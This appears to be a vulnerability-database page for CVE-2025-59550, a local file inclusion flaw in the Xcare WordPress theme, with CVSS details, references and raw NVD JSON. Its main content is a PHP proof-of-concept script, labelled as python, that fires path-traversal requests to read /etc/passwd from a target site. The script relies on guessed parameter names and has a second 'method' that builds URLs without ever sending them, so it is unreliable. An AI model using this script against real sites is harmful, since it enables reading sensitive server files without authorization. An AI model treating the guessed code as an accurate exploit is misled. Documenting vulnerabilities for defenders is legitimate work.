CVE-2025-59550

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Xcare xcare allows PHP Local File Inclusion.This issue affects Xcare: from n/a through < 6.5.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Xcare < 6.5 (所有6.5之前的版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-59550 PoC - Xcare Theme Local File Inclusion
 * Target: WordPress Xcare Theme < 6.5
 * Vulnerability: LFI via unsafe file inclusion
 * Usage: php poc.php <target_url> 
 */

$target = $argv[1] ?? 'http://target-site.com';
$file_to_read = $argv[2] ?? '/etc/passwd';

// Common vulnerable parameters in Xcare theme
$vulnerable_params = [
    'template',
    'page_template',
    'file',
    'include',
    'theme',
    'view',
    'load'
];

echo "[*] CVE-2025-59550 PoC - Xcare Theme LFI\n";
echo "[*] Target: {$target}\n";
echo "[*] File to read: {$file_to_read}\n\n";

// Method 1: Direct LFI attempt
foreach ($vulnerable_params as $param) {
    $url = $target . "/?{$param}=../../../../..{$file_to_read}%00";
    echo "[Testing] {$url}\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, 'root:') !== false) {
        echo "[!] VULNERABLE! File content:\n";
        echo $response;
        break;
    }
}

// Method 2: WordPress specific path traversal
$wp_paths = [
    '/wp-content/themes/xcare/template-parts/' . $file_to_read,
    '/wp-content/themes/xcare/inc/' . $file_to_read,
    '/wp-content/plugins/' . $file_to_read
];

echo "\n[*] Testing WordPress specific paths...\n";
foreach ($wp_paths as $path) {
    $url = $target . "/?file=" . urlencode($path);
    echo "[Testing] {$url}\n";
}

echo "\n[*] Scan complete. Check responses above for sensitive data.\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59550
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59550
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59550/
[4] VulDB https://vuldb.com/cve/CVE-2025-59550
[5] https://patchstack.com/database/Wordpress/Theme/xcare/vulnerability/wordpress-xcare-theme-6-5-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-59550", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:53.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in designervily Xcare xcare allows PHP Local File Inclusion.This issue affects Xcare: from n/a through < 6.5."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/xcare/vulnerability/wordpress-xcare-theme-6-5-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}